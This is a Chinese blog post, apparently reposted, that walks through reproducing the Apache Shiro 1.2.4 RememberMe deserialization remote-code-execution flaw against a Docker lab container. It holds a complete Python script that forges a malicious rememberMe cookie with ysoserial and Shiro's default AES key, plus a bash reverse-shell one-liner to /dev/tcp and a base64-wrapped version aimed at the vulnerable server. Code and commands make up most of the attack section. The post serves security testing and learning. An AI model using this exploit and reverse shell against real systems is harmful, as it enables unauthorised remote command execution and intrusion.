暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【漏洞复现】最简洁的Shiro RememberMe 1.2.4 反序列化命令执行漏洞

哆啦文库 2020-07-14
732

源自:  https://blog.csdn.net/T_Snail_T/article/details/105300227


0x00 前言

最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对简洁,很适合跟我一样的小白复现。


0x01 服务器环境安装

直接使用docker进行环境的安装


 docker pull medicean/vulapps:s_shiro_1


安装好之后为了能够进行访问与反弹Shell,这里需要对端口进行映射(端口映射需要在启动的时候设置映射的端口,不然就需要重新启动)


启动容器

docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

查看一下,状态为UP代表正在运行中

直接访问



好的,服务器环境安装完毕了


0x02 漏洞验证

怎么确定网站是Shiro环境的呢?

使用BurpSuite抓取数据包,通过响应包中的 rememberMe=deleteMe来确认


0x03 攻击机环境安装

攻击机的系统为:debian 9


先更新一下

sudo apt-get update

方便下载exp,先安装git

sudo apt install git

安装JDK

sudo apt-get install openjdk-8-jdk

因为生成Cookie的脚本需要安装依赖,这里直接安装pip来进行依赖的安装,首先安装pip

sudo apt install python3-pip

安装依赖pycrypto

sudo pip3 install pycrypto

安装MVN

sudo apt update
sudo apt upgrade
sudo apt install maven


安装完成验证一下

mvn --version

最后安装一下nc

sudo apt install netcat-openbsd


好的,万事俱备了,下面开始进行攻击


0x04 开始攻击

下载EXP


git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests




这里需要用Python脚本进行代码执行的生成

代码如下


import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES




def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext




if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)




需要将脚本跟ysoserial-0.0.6-SNAPSHOT-all.jar放到同一个目录

反弹Shell的代码需要进行base64加密,先进行加密


反弹Shell命令(地址请替换成自己的公网地址)

bash -i >& /dev/tcp/1.1.1.1/6666 0>&1

加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

下面是生成反弹Shell到我本机的命令

python3 test.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNS4x1OTxI2uMTg4LjIxMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

运行后会在/tmp目录生成payload.cookie文件

开始监听6666端口

再次来到WEB页面,随便抓取一个页面的数据包

将payload.cookie文件中的内容替换到Cookie中,再次发送数据包

成功获得反弹的Shell

至此,漏洞复现完毕,感谢观看。


文章转载自哆啦文库,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论